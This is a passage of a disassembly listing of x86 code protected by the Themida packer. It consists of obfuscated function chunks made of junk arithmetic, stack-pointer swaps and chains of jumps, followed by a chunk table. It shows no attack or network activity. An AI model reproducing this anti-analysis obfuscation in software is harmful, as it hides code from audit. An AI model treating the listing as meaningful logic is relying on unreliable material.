		jmp	loc_570314
; ---------------------------------------------------------------------------


loc_562446:				; CODE XREF: sub_562ABA-7EDj
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		pop	edx
		sub	eax, ebx
		push	[esp+26h+var_28+2]
		mov	ebx, [esp+2Ah+var_2C+2]
		jmp	loc_56B689
; ---------------------------------------------------------------------------


loc_56245B:				; CODE XREF: sub_562ABA+4B07j
		mov	ebx, edi
		pop	edi
		or	ecx, ebx
		push	[esp+26h+var_28+2]
		pop	ebx
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+26h+var_28+2]
		pop	esp
		mov	[esp+22h+var_22], eax
		mov	eax, 163D537Dh
		push	ebx
		jmp	loc_56C25D
; ---------------------------------------------------------------------------


loc_562488:				; CODE XREF: sub_562ABA+DFBBj
		push	56E1h
		mov	[esp+2Ah+var_2C+2], ecx
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 308B0BD9h
		mov	ecx, 1ED26318h
		add	ecx, esi
		mov	esi, [esp+0]
		add	esp, 4
		neg	ecx
		sub	ecx, 35A7EF3h
		push	ebp
		push	ecx
		mov	ecx, 41CB3C1Ch
		jmp	loc_571B56
; ---------------------------------------------------------------------------


loc_5624C2:				; CODE XREF: sub_562ABA+94D4j
		mov	[esp+32h+var_32], edx
		jmp	loc_56F8EE
; ---------------------------------------------------------------------------


loc_5624CA:				; CODE XREF: sub_562ABA-4A4j
		add	ebp, 4
		xchg	ebp, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		push	ecx
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 38A53519h
		xchg	ebp, edx
		push	ebp
		neg	[esp+42h+var_42]
		pop	ebp
		xchg	ebp, edx
		xor	edx, 0C75ACAE3h
		add	eax, edx
		pop	edx
		push	edi
		mov	edi, 4
		sub	eax, edi
		mov	edi, [esp+3Eh+var_3E]
		add	esp, 4
		xchg	eax, [esp+3Ah+var_3A]
		pop	esp
		mov	[esp+36h+var_36], esp
		add	[esp+36h+var_36], 4
		pop	ecx
		jmp	loc_55F736
; ---------------------------------------------------------------------------


loc_562514:				; CODE XREF: sub_562ABA+4B8j
		mov	edx, 3A5C2E60h
		add	edi, edx
		pop	edx
		jmp	loc_57130A
; ---------------------------------------------------------------------------


loc_562521:				; CODE XREF: sub_562ABA+6C92j
		mov	[esp+0], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 22406035h
		inc	ecx
		xor	ecx, 183C7026h
		push	eax
		mov	eax, 0F8872FCh
		dec	eax
		and	eax, 1340251Fh
		jmp	loc_5706AF
; ---------------------------------------------------------------------------


loc_562544:				; CODE XREF: sub_562ABA+CC79j
		pop	esi
		push	esi
		mov	esi, 98C69F46h
		jmp	loc_55E82B
; ---------------------------------------------------------------------------


loc_562550:				; CODE XREF: sub_562ABA+DA2Dj
		inc	eax
		dec	eax
		jmp	loc_5606C8
; ---------------------------------------------------------------------------


loc_562557:				; CODE XREF: sub_562ABA+656Bj
		sub	ebx, 1CED61BBh
		xor	eax, ebx
		pop	ebx
		xor	eax, 32762369h
		neg	eax
		shr	eax, 1
		jmp	loc_5669F1
; ---------------------------------------------------------------------------


loc_56256E:				; CODE XREF: sub_562ABA+63BAj
		push	eax
		mov	eax, 30D32736h
		jmp	loc_5617C0
; ---------------------------------------------------------------------------


loc_562579:				; CODE XREF: sub_562ABA+72Aj
		mov	ch, al
		mov	bl, ch
		pop	ecx
		pop	eax
		add	al, bl
		mov	bx, [esp+0]
		jmp	loc_56EE96
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 58BFh
		mov	[esp], ax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56259B:				; CODE XREF: sub_562ABA-1CB9j
		push	5922h
		mov	[esp+46h+var_46], esi
		jmp	loc_562307
; ---------------------------------------------------------------------------


loc_5625A8:				; CODE XREF: sub_562ABA-255Cj
		sub	al, dh
		pop	edx
		add	al, 1Ah
		jmp	loc_565A2A
; ---------------------------------------------------------------------------


loc_5625B2:				; CODE XREF: sub_562ABA+D0A8j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+2Ah+var_2C+2]
		jmp	loc_5601EF
; ---------------------------------------------------------------------------


loc_5625CC:				; CODE XREF: sub_562ABA+901Bj
		pop	ebp
		push	ebp
		mov	ebp, 2
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], ecx
		xor	ecx, [esp+26h+var_28+2]
		jmp	loc_56B608
; ---------------------------------------------------------------------------


loc_5625E4:				; CODE XREF: sub_562ABA+DCCAj
		neg	eax
		jmp	loc_570145
; ---------------------------------------------------------------------------


loc_5625EB:				; CODE XREF: sub_562ABA+1B94j
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_5695F9
; ---------------------------------------------------------------------------


loc_5625F8:				; CODE XREF: sub_562ABA+8684j
		pop	esp
		jmp	loc_5689F2
; ---------------------------------------------------------------------------


loc_5625FE:				; CODE XREF: sub_562ABA+6761j
		pop	esp
		push	ebx
		mov	bl, 3Fh
		mov	dl, 8
		sub	dl, bl
		jmp	loc_56E938
; ---------------------------------------------------------------------------


loc_56260B:				; CODE XREF: sub_562ABA+700Ej
		mov	[esp+1Eh+var_1E], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5624CA
; ---------------------------------------------------------------------------


loc_56261B:				; CODE XREF: sub_562ABA+C7F0j
		mov	ecx, [esp+1Eh+var_1E]
		jmp	loc_56EB51
; ---------------------------------------------------------------------------


loc_562623:				; CODE XREF: sub_562ABA+1BB8j
		sub	[esp+1Eh+var_16], edi
		pop	edi
		add	[esp+1Ah+var_16], 3615764h
		jmp	loc_55FB37
; ---------------------------------------------------------------------------


loc_562635:				; CODE XREF: sub_562ABA-3546j
		push	6CB9h
		mov	[esp-0Ch+arg_8], ebx
		jmp	loc_55EB6D
; ---------------------------------------------------------------------------


loc_562642:				; CODE XREF: sub_562ABA+BE6Cj
		mov	[esp-0Ch+arg_8], eax
		push	ebp
		jmp	loc_562D5B
; ---------------------------------------------------------------------------


loc_56264B:				; CODE XREF: sub_562ABA+CBB3j
		mov	[esp-8+arg_4], ecx
		mov	ch, 76h
		add	dl, 23h
		sub	dl, ch
		sub	dl, 23h
		pop	ecx
		push	dx
		mov	dl, 79h
		add	al, dl
		jmp	loc_56AB54
; ---------------------------------------------------------------------------


loc_562664:				; CODE XREF: sub_562ABA+D045j
		neg	ebp
		add	ebp, 6E63103Fh
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		inc	ebp
		or	ebp, 0BA35305h
		jmp	loc_561F2A
; ---------------------------------------------------------------------------


loc_56267E:				; CODE XREF: sub_562ABA+E723j
		mov	esp, [esp-0Ah+arg_4+2]
		push	esi
		mov	esi, 2D004C04h
		add	ebx, esi
		pop	esi
		jmp	loc_5666B4
; ---------------------------------------------------------------------------


loc_56268F:				; CODE XREF: sub_562ABA+4A13j
		sub	esi, 2B4DF89Bh
		add	edi, esi
		pop	esi
		add	ebx, edi
		jmp	loc_568E17
; ---------------------------------------------------------------------------


loc_56269F:				; CODE XREF: sub_562ABA-1102j
		mov	ebp, 0E3FD7EBEh
		add	edi, 4A1016B9h
		sub	edi, ebp
		sub	edi, 4A1016B9h
		pop	ebp
		and	edx, edi
		pop	edi
		push	ecx
		mov	ecx, 73282AC5h
		jmp	loc_55EE89
; ---------------------------------------------------------------------------


loc_5626C1:				; CODE XREF: sub_562ABA+93D4j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+16h+var_16]
		pop	esp
		mov	[esp+12h+var_12], edx
		jmp	loc_564002
; ---------------------------------------------------------------------------


loc_5626DB:				; CODE XREF: sub_562ABA+E9E8j
		pop	ecx
		add	edi, eax
		pop	eax
		add	edi, 69925EE7h
		add	edi, 0D2DDB6DDh
		add	ebx, edi
		jmp	loc_56EE81
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FC41


loc_5626F2:				; CODE XREF: sub_55FC41+4j
		push	esp
		pop	[esp+0Ch+var_C]
		push	esi
		jmp	loc_55EE73
; END OF FUNCTION CHUNK	FOR sub_55FC41
; ---------------------------------------------------------------------------
		lodsb
		push	3A4Eh
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_563BDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56270D:				; CODE XREF: sub_562ABA+3BBDj
		pop	edi
		jmp	loc_55E09F
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_562713:				; CODE XREF: sub_55FCA5+44Aj
		mov	esi, 50B03951h
		mov	ebp, 2E2617BCh
		xor	ebp, esi
		pop	esi
		xor	esi, ebp
		pop	ebp
		dec	esi
		push	esi
		jmp	loc_56B0C5
; END OF FUNCTION CHUNK	FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56272A:				; CODE XREF: sub_562ABA+BDBj
		push	dword ptr [edi+eax*4]
		mov	eax, [esp+0Ah+var_C+2]
		jmp	loc_561B9D
; ---------------------------------------------------------------------------


loc_562735:				; CODE XREF: sub_562ABA+CE2Fj
		pop	eax
		push	esi
		mov	esi, esp
		jmp	loc_569365
; ---------------------------------------------------------------------------


loc_56273E:				; CODE XREF: sub_562ABA+DEC8j
		push	eax
		mov	eax, 4
		mov	edi, eax
		pop	eax
		mov	edx, edi
		pop	edi
		sub	edi, 786449EBh
		jmp	loc_566CA8
; ---------------------------------------------------------------------------


loc_562755:				; CODE XREF: sub_562ABA-4520j
		mov	[esp+36h+var_36], edx
		sub	esp, 4
		jmp	loc_5676F7
; ---------------------------------------------------------------------------


loc_562763:				; CODE XREF: sub_562ABA+F63Ej
		push	esi
		inc	[esp+3Eh+var_3E]
		pop	esi
		or	esi, 2C1C1022h
		push	55F9h
		mov	[esp+3Eh+var_3E], ebp
		mov	ebp, 48F85C5Bh
		inc	ebp
		jmp	loc_56463C
; ---------------------------------------------------------------------------


loc_562781:				; CODE XREF: sub_562ABA+1430j
		push	edi
		mov	edi, 4B11308Eh
		jmp	loc_5612CF
; ---------------------------------------------------------------------------


loc_56278C:				; CODE XREF: sub_562ABA+3905j
		push	403D1172h
		pop	ebp
		push	edi
		mov	edi, 0D2B259Dh
		sub	ebp, edi
		jmp	loc_562DBC
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_56279F	proc near		; CODE XREF: sub_562ABA+1D57j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	esp
		jmp	loc_56B5E6
sub_56279F	endp


; =============== S U B	R O U T	I N E =======================================



sub_5627AB	proc near		; CODE XREF: sub_562ABA+2BDj
		push	ebp
		push	edi
		pop	ebp
		jmp	loc_56F656
sub_5627AB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5627B3:				; CODE XREF: sub_562ABA-11D5j
		pop	ebx
		add	esp, 4
		pop	ecx
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5627C0:				; CODE XREF: sub_562ABA+318j
		pop	eax
		jmp	loc_56F6C2
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_5627C6:				; DATA XREF: Themida_:0055DDECo
		pop	small word ptr [edx]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_5627CE:				; CODE XREF: sub_562ABA+676j
		add	esp, 4
		jmp	sub_55E85D
; ---------------------------------------------------------------------------


loc_5627D9:				; CODE XREF: sub_562ABA+4025j
		mov	eax, esi
		pop	esi
		sub	esi, eax
		pop	eax
		sub	esi, 4510091Fh
		jmp	loc_56E2D2
; ---------------------------------------------------------------------------


loc_5627EA:				; CODE XREF: sub_562ABA+72A1j
		mov	edx, 0C18CA2D6h
		jmp	loc_55F83D
; ---------------------------------------------------------------------------


loc_5627F4:				; CODE XREF: sub_562ABA+7984j
		neg	edi
		xchg	edi, ebx
		push	3F46h
		mov	[esp+1Ah+var_1A], edi
		jmp	loc_5721D4
; ---------------------------------------------------------------------------


loc_562805:				; CODE XREF: sub_562ABA+52ADj
		pop	ebp
		sub	esi, 4
		xor	esi, [esp+16h+var_16]
		xor	[esp+16h+var_16], esi
		xor	esi, [esp+16h+var_16]
		pop	esp
		mov	[esp+12h+var_12], ecx
		mov	ecx, esp
		push	edi
		push	ecx
		mov	ecx, 3E003712h
		mov	edi, 0C1FFC8F2h
		add	edi, ecx
		pop	ecx
		add	ecx, edi
		push	[esp+16h+var_16]
		jmp	loc_567A4B
; ---------------------------------------------------------------------------


loc_562831:				; CODE XREF: sub_562ABA+9204j
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	edi, ecx
		pop	ecx
		push	eax
		mov	eax, 78925B6Ah
		push	esi
		jmp	loc_56976B
; ---------------------------------------------------------------------------


loc_562846:				; CODE XREF: sub_562ABA+3EEj
		dec	ecx
		and	ecx, 0CEF0336h
		jmp	loc_563E75
; ---------------------------------------------------------------------------


loc_562852:				; CODE XREF: sub_562ABA+EF18j
		mov	edi, [esp+22h+var_22]
		jmp	loc_5629AF
; ---------------------------------------------------------------------------


loc_56285A:				; CODE XREF: sub_562ABA+D423j
		add	[esp+22h+var_22], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+1Eh+var_1E]
		xor	[esp+1Eh+var_1E], ecx
		xor	ecx, [esp+1Eh+var_1E]
		pop	esp
		mov	edi, [esp+1Ah+var_1A]
		push	2556h
		mov	[esp+1Eh+var_1E], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+1Eh+var_1E]
		pop	esp
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55E4B6
; ---------------------------------------------------------------------------


loc_5628A3:				; CODE XREF: sub_562ABA+9ACAj
		pop	ebx
		jmp	loc_56B084
; ---------------------------------------------------------------------------


loc_5628A9:				; CODE XREF: sub_562ABA-D69j
		mov	dh, ah
		mov	ch, dh
		pop	edx
		mov	eax, [esp+3Ah+var_3A]
		add	esp, 4
		jmp	loc_55EC97
; ---------------------------------------------------------------------------


loc_5628BC:				; CODE XREF: sub_562ABA+BCDFj
		pop	esi
		xor	edi, ecx
		pop	ecx
		inc	edi
		jmp	loc_569C48
; ---------------------------------------------------------------------------


loc_5628C6:				; CODE XREF: sub_562ABA+2667j
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp+0]
		jmp	loc_56B43C
; ---------------------------------------------------------------------------


loc_5628D5:				; CODE XREF: sub_562ABA-13DFj
		pop	ebx
		xor	ecx, [esp+26h+var_28+2]
		jmp	loc_56C9AA
; ---------------------------------------------------------------------------


loc_5628DE:				; CODE XREF: sub_562ABA+6385j
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ecx
		push	ebx
		mov	ebx, 29C50F71h
		sub	esp, 4
		jmp	loc_56394E
; ---------------------------------------------------------------------------


loc_5628FF:				; CODE XREF: sub_562ABA+C62Fj
		add	[esp+4], esi
		push	[esp+32h+var_32]
		pop	esi
		jmp	loc_560FA4
; ---------------------------------------------------------------------------


loc_56290C:				; CODE XREF: sub_562ABA+E097j
		mov	bh, 0C8h
		jmp	loc_56874E
; ---------------------------------------------------------------------------


loc_562913:				; CODE XREF: sub_562ABA-412Ej
		mov	[esp+26h+var_28+2], edx
		push	eax
		push	ecx
		mov	ecx, 0F410056h
		sub	ecx, 0BF63E9C0h
		mov	eax, ecx
		jmp	loc_56EB4B
; ---------------------------------------------------------------------------


loc_56292A:				; CODE XREF: sub_562ABA+23C9j
		mov	edx, [esp+0]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edx, 0B88215Eh
		add	edx, esi
		sub	edx, 0B88215Eh
		pop	esi
		add	edx, 4
		xchg	edx, [esp+2Ah+var_2C+2]
		jmp	loc_56AAA7
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_5677DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_56295E:				; CODE XREF: sub_562ABA+ED52j
		add	ebx, 67E05C46h
		sub	ebx, 22C86319h
		add	ebx, 370032D6h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56ED93
; ---------------------------------------------------------------------------


loc_56297E:				; CODE XREF: sub_562ABA+DABCj
		sub	bl, 0C3h
		push	eax
		mov	al, 0E5h
		neg	al
		sub	al, 4Fh
		add	bl, al
		pop	eax
		mov	eax, [esp+0]
		add	esp, 4
		xor	bl, 79h
		sub	ch, bl
		jmp	loc_5677F1
; ---------------------------------------------------------------------------


loc_56299E:				; CODE XREF: sub_562ABA+DD67j
		dec	bl
		push	dx
		mov	dh, bl
		not	dh
		mov	bl, dh
		pop	dx
		jmp	loc_564D1F
; ---------------------------------------------------------------------------


loc_5629AF:				; CODE XREF: sub_562ABA-265j
		add	esp, 4
		sub	esp, 4
		mov	[esp+22h+var_22], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebx
		mov	ebx, 4
		add	ebp, 507A2C95h
		add	ebp, ebx
		sub	ebp, 507A2C95h
		mov	ebx, [esp+26h+var_28+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2Ah+var_2C+2]
		pop	esp
		push	esi
		mov	esi, 4
		add	ebp, 1CBA4326h
		add	ebp, esi
		sub	ebp, 1CBA4326h
		pop	esi
		xchg	ebp, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		add	ebx, 3E530994h
		push	ecx
		jmp	loc_56608E
; ---------------------------------------------------------------------------


loc_562A13:				; CODE XREF: sub_562ABA-43C7j
		push	4BC0h
		mov	[esp+26h+var_28+2], ecx
		mov	ecx, 4
		sub	eax, 66CB7CACh
		sub	eax, 0C296BB2h
		add	eax, ecx
		jmp	loc_56C5FF
; ---------------------------------------------------------------------------


loc_562A31:				; CODE XREF: sub_562ABA+7CDFj
		add	[esp+26h+var_28+2], 6F5B7FC9h
		mov	ebp, [esp+26h+var_28+2]
		jmp	loc_56B915
; ---------------------------------------------------------------------------


loc_562A40:				; CODE XREF: sub_562ABA+9C87j
		push	[esp+26h+var_28+2]
		push	[esp+2Ah+var_2C+2]
		push	dword ptr [esp+0]
		pop	ecx
		jmp	loc_5701FD
; ---------------------------------------------------------------------------


loc_562A4F:				; CODE XREF: sub_562ABA+DA4j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_56FAD8
; ---------------------------------------------------------------------------


loc_562A61:				; CODE XREF: sub_562ABA+E1B6j
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		pop	[esp+2Ah+var_2C+2]
		jmp	loc_562300
; ---------------------------------------------------------------------------


loc_562A7B:				; CODE XREF: sub_562ABA+CE21j
		pop	eax
		or	ecx, 29964537h
		jmp	loc_570ED5
; ---------------------------------------------------------------------------


loc_562A87:				; CODE XREF: sub_562ABA+F973j
		mov	esp, [esp+22h+var_22]
		jmp	loc_56A825
; ---------------------------------------------------------------------------


loc_562A8F:				; CODE XREF: sub_562ABA+3635j
		not	ebx
		jmp	loc_56DBE2
; ---------------------------------------------------------------------------


loc_562A96:				; CODE XREF: sub_562ABA+C528j
		push	4E1Ah
		mov	[esp+26h+var_28+2], esi
		jmp	loc_569249
; ---------------------------------------------------------------------------


loc_562AA3:				; CODE XREF: sub_562ABA+C443j
		mov	cl, 0A8h
		add	cl, 0A4h
		dec	cl
		sub	cl, 0F6h
		sub	al, cl
		pop	ecx
		jmp	loc_572790
; ---------------------------------------------------------------------------


loc_562AB5:				; CODE XREF: sub_562ABA+C694j
		jmp	loc_55E09F
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_562ABA	proc near		; DATA XREF: Themida_:0055E054o

var_70		= dword	ptr -70h
var_6A		= dword	ptr -6Ah
var_66		= dword	ptr -66h
var_62		= dword	ptr -62h
var_5E		= dword	ptr -5Eh
var_5A		= dword	ptr -5Ah
var_56		= dword	ptr -56h
var_52		= dword	ptr -52h
var_4E		= dword	ptr -4Eh
var_4A		= dword	ptr -4Ah
var_46		= dword	ptr -46h
var_42		= dword	ptr -42h
var_3E		= dword	ptr -3Eh
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_22		= dword	ptr -22h
var_1E		= dword	ptr -1Eh
var_1A		= dword	ptr -1Ah
var_16		= dword	ptr -16h
var_12		= dword	ptr -12h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_32		= dword	ptr  36h
arg_38		= dword	ptr  3Ch
arg_3C		= dword	ptr  40h
arg_40		= dword	ptr  44h
arg_44		= dword	ptr  48h
arg_48		= dword	ptr  4Ch
arg_4C		= dword	ptr  50h
arg_52		= dword	ptr  56h
arg_56		= dword	ptr  5Ah
arg_5A		= dword	ptr  5Eh
arg_5E		= dword	ptr  62h
arg_62		= dword	ptr  66h
arg_66		= dword	ptr  6Ah

; FUNCTION CHUNK AT 0055E09F SIZE 00000435 BYTES
; FUNCTION CHUNK AT 0055E4F0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055E513 SIZE 0000008C BYTES
; FUNCTION CHUNK AT 0055E5C2 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0055E61A SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0055E676 SIZE 000000B7 BYTES
; FUNCTION CHUNK AT 0055E73D SIZE 00000070 BYTES
; FUNCTION CHUNK AT 0055E7B9 SIZE 000000A4 BYTES
; FUNCTION CHUNK AT 0055E895 SIZE 000000B3 BYTES
; FUNCTION CHUNK AT 0055E952 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055E987 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0055E9DF SIZE 000002D8 BYTES
; FUNCTION CHUNK AT 0055ECE0 SIZE 00000193 BYTES
; FUNCTION CHUNK AT 0055EE7D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055EE98 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055EEC5 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0055EF14 SIZE 00000078 BYTES
; FUNCTION CHUNK AT 0055EF9B SIZE 000000ED BYTES
; FUNCTION CHUNK AT 0055F091 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055F0C9 SIZE 0000007A BYTES
; FUNCTION CHUNK AT 0055F15C SIZE 0000008C BYTES
; FUNCTION CHUNK AT 0055F1F5 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0055F26D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055F28E SIZE 00000084 BYTES
; FUNCTION CHUNK AT 0055F325 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055F360 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0055F3A1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055F3D7 SIZE 00000139 BYTES
; FUNCTION CHUNK AT 0055F529 SIZE 00000137 BYTES
; FUNCTION CHUNK AT 0055F667 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055F692 SIZE 000000E5 BYTES
; FUNCTION CHUNK AT 0055F7BB SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0055F826 SIZE 000001BA BYTES
; FUNCTION CHUNK AT 0055F9E9 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055FA25 SIZE 00000204 BYTES
; FUNCTION CHUNK AT 0055FC3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055FC4A SIZE 0000005B BYTES
; FUNCTION CHUNK AT 0056016D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005601DA SIZE 00000070 BYTES
; FUNCTION CHUNK AT 00560253 SIZE 0000006F BYTES
; FUNCTION CHUNK AT 005602DF SIZE 0000021F BYTES
; FUNCTION CHUNK AT 00560505 SIZE 000000A7 BYTES
; FUNCTION CHUNK AT 005605CA SIZE 000000D7 BYTES
; FUNCTION CHUNK AT 005606AD SIZE 000000AA BYTES
; FUNCTION CHUNK AT 0056075D SIZE 0000006B BYTES
; FUNCTION CHUNK AT 005607F5 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00560836 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056085F SIZE 000000B7 BYTES
; FUNCTION CHUNK AT 00560920 SIZE 0000007B BYTES
; FUNCTION CHUNK AT 005609AD SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00560A01 SIZE 000001A0 BYTES
; FUNCTION CHUNK AT 00560BBF SIZE 00000183 BYTES
; FUNCTION CHUNK AT 00560D48 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560D5D SIZE 000000D2 BYTES
; FUNCTION CHUNK AT 00560E3C SIZE 00000085 BYTES
; FUNCTION CHUNK AT 00560EC7 SIZE 000000B9 BYTES
; FUNCTION CHUNK AT 00560F8D SIZE 000000FD BYTES
; FUNCTION CHUNK AT 005610B3 SIZE 0000007B BYTES
; FUNCTION CHUNK AT 00561150 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056116F SIZE 00000064 BYTES
; FUNCTION CHUNK AT 005611EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056121E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00561249 SIZE 000000D3 BYTES
; FUNCTION CHUNK AT 00561333 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056138C SIZE 0000010C BYTES
; FUNCTION CHUNK AT 005614A1 SIZE 00000345 BYTES
; FUNCTION CHUNK AT 0056181C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056186A SIZE 000000B7 BYTES
; FUNCTION CHUNK AT 00561928 SIZE 00000235 BYTES
; FUNCTION CHUNK AT 00561B9D SIZE 000001B9 BYTES
; FUNCTION CHUNK AT 00561D6E SIZE 000000AA BYTES
; FUNCTION CHUNK AT 00561E3E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561E9B SIZE 00000073 BYTES
; FUNCTION CHUNK AT 00561F2A SIZE 00000056 BYTES
; FUNCTION CHUNK AT 00561F88 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00561FEF SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0056203F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056205B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056206A SIZE 0000003F BYTES
; FUNCTION CHUNK AT 005620B4 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 005620F5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00562117 SIZE 00000065 BYTES
; FUNCTION CHUNK AT 0056219A SIZE 0000008E BYTES
; FUNCTION CHUNK AT 00562230 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056225F SIZE 00000073 BYTES
; FUNCTION CHUNK AT 005622DD SIZE 0000004A BYTES
; FUNCTION CHUNK AT 0056233B SIZE 00000097 BYTES
; FUNCTION CHUNK AT 005623DB SIZE 000001AF BYTES
; FUNCTION CHUNK AT 0056259B SIZE 00000157 BYTES
; FUNCTION CHUNK AT 0056270D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056272A SIZE 00000075 BYTES
; FUNCTION CHUNK AT 005627B3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005627CE SIZE 00000188 BYTES
; FUNCTION CHUNK AT 0056295E SIZE 0000015C BYTES
; FUNCTION CHUNK AT 00571CEB SIZE 00000110 BYTES
; FUNCTION CHUNK AT 00571E04 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00571E3D SIZE 000000BC BYTES
; FUNCTION CHUNK AT 00571F0F SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00571F4F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00571F7C SIZE 0000005B BYTES
; FUNCTION CHUNK AT 00571FE0 SIZE 00000075 BYTES
; FUNCTION CHUNK AT 0057205F SIZE 00000058 BYTES
; FUNCTION CHUNK AT 005720C6 SIZE 00000129 BYTES
; FUNCTION CHUNK AT 00572207 SIZE 000000B0 BYTES
; FUNCTION CHUNK AT 005722CB SIZE 000002C6 BYTES
; FUNCTION CHUNK AT 005725CD SIZE 00000069 BYTES
; FUNCTION CHUNK AT 0057263C SIZE 000000D8 BYTES
; FUNCTION CHUNK AT 00572737 SIZE 000001A9 BYTES
; FUNCTION CHUNK AT 005728E9 SIZE 0000015B BYTES
; FUNCTION CHUNK AT 00572A5A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00572A87 SIZE 00000014 BYTES
